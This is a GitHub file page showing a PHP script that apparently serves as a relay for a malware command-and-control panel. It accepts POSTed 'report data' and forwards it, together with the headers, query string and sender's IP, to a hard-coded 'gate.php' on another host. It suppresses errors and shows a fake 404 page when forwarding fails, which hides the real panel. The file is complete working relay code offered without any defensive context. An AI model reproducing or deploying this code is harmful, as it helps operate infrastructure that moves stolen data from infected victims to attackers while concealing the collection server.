Permalink
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
163 lines (124 sloc) 3.64 KB
<?php
$redirect_url = "http://192.168.1.101/gate.php"; // redirect URL (should point to the gate script)
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time', 0);
// check if curl is installed
$loaded_extensions = get_loaded_extensions();
if (array_search('curl', $loaded_extensions) === false)
die();
// check if data was received in full
$real_length = intval($_SERVER['CONTENT_LENGTH']);
$received_report_data = file_get_contents('php://input');
if ($real_length !== strlen($received_report_data))
die();
// extract host from redirect url
if (substr($redirect_url, 0, 4) != 'http')
$redirect_url = 'http://'.$redirect_url;
$redirect_host = @parse_url($redirect_url, PHP_URL_HOST);
function my_upload($ch, $fp, $len)
{
static $pos=0; // keep track of position
$post_data = file_get_contents('php://input');
$data = substr($post_data, $pos, $len);
$pos += strlen($data);
return $data;
}
function curl_load($url, &$data, $headers)
{
clearstatcache();
$return = false;
$url = trim($url);
if (substr($url, 0, 4) != 'http') $url = 'http://'.$url;
$ch = curl_init($url);
if (!$ch)
return false;
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
curl_setopt($ch, CURLOPT_DNS_USE_GLOBAL_CACHE, false);
curl_setopt($ch, CURLOPT_POST, true);
array_push($headers, 'Accept-Encoding: identity, *;q=0');
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$post_data = file_get_contents('php://input');
if (strlen($post_data))
{
curl_setopt($ch, CURLOPT_READFUNCTION, 'my_upload');
}
$curl_execute_result = @curl_exec($ch);
// Check if any error occurred
if (!curl_errno($ch))
{
$data = $curl_execute_result;
$return = true;
} else
{
$data = '';
$return = false;
}
curl_close($ch);
return $return;
}
function parse_lines($value)
{
return preg_split("/((\r(?!\n))|((?<!\r)\n)|(\r\n))/", $value);
}
$original_query = trim(@parse_url($redirect_url, PHP_URL_QUERY));
if (!strlen($original_query))
$query_string = '?';
else
$query_string = '&';
$query_string .= $_SERVER['QUERY_STRING'];
$query_string .= '&pass_ip='.$_SERVER['REMOTE_ADDR'];
$data = '';
$headers = getallheaders();
$curl_headers_array = array();
foreach ($headers as $name=>$value)
{
if (strtolower($name) == 'accept-encoding' || strtolower($name) == 'connection')
{
}
elseif (strtolower($name) == 'host')
{
array_push($curl_headers_array, $name.': '.$redirect_host);
} else
{
array_push($curl_headers_array, $name.': '.$value);
}
}
if (!curl_load($redirect_url.$query_string, $data, $curl_headers_array))
{
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
$_SERVER['REDIRECT_STATUS'] = 404;
if (file_exists('404.html'))
echo file_get_contents('404.html');
die();
}
$headers_end_pos = strpos($data, "\r\n\r\n");
$data_start_pos = $headers_end_pos+4;
if ($headers_end_pos === false)
{
$headers_end_pos = strpos($data, "\n\n");
$data_start_pos = $headers_end_pos+2;
}
if ($headers_end_pos !== false)
{
$lines = parse_lines(substr($data, 0, $headers_end_pos));
foreach ($lines as $line)
{
// do not pass "Transfer-Encoding: chunked" header
if (stripos($line, 'Transfer-Encoding') === false)
{
header($line."\r\n");
}
}
die(substr($data, $data_start_pos));
} else
{
die($data);
}